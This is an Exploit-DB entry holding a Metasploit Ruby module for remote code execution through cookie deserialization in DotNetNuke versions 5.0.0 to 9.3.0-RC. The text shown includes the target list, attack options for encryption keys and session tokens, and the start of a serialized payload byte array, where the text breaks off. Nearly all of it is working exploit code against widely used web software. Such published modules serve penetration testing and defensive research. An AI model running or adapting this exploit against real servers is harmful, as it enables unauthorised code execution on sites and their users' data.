Exploit-DB #48336
Description: DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2020-04-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  Rank = ExcellentRanking

  # =================================
  # Overidden setup method to allow
  # for delayed handler start
  # =================================
  def setup
    # Reset the session counts to zero.
    reset_session_counts

    return if !payload_instance
    return if !handler_enabled?

    # Configure the payload handler
    payload_instance.exploit_config = {
      'active_timeout' => active_timeout
    }

    # payload handler is normally set up and started here
    # but has been removed so we can start the handler when needed.
  end

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => "DotNetNuke Cookie Deserialization Remote Code Execution",
      'Description'    => %q(
        This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
        Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
        The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
        The cookie is processed by the application whenever it attempts to load the current user's profile data.
        This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
        An attacker can leverage this vulnerability to execute arbitrary code on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jon Park', 'Jon Seigel' ],
      'References'     =>
        [
          [ 'CVE', '2017-9822' ],
          [ 'CVE', '2018-15811'],
          [ 'CVE', '2018-15812'],
          [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
          [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
          [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
          [ 'URL', 'https://github.com/pwntester/ysoserial.net']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { 'auto' => true } ],
          [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
          [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {

        },
      'Privileged'     => false,
      'DisclosureDate' => "Jul 20 2017",
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'DefaultTarget'  => 0
    ))

    deregister_options('SRVHOST')

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
        OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
        OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
        Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
        OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
        (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
        OptString.new('KEY', [false, 'The key to use for encryption.', '']),
        OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
        OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
        DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
        OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
        Can also be the path to a file containing a list of verification codes.), ''])
      ]
    )


    initialize_instance_variables
  end

  def initialize_instance_variables
    # ==================
    # COMMON VARIABLES
    # ==================

    @target_idx = 0

    # Flag for whether or not to perform exploitation
    @dry_run = false

    # Flag for whether or not the target requires encryption
    @encrypted = false

    # Flag for whether or not to attempt to decrypt the provided verification token(s)
    @try_decrypt = false

    # ==================
    # PAYLOAD VARIABLES
    # ==================

    # ObjectStateFormatter serialized header
    @osf_header = [255, 1, 50]

    # ObjectStateFormatter serialized data before the command payload
    @osf_wrapper_start = [
      0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
      83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
      117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
      111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
      48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
      108, 108, 101, 99, 116, 105, 111,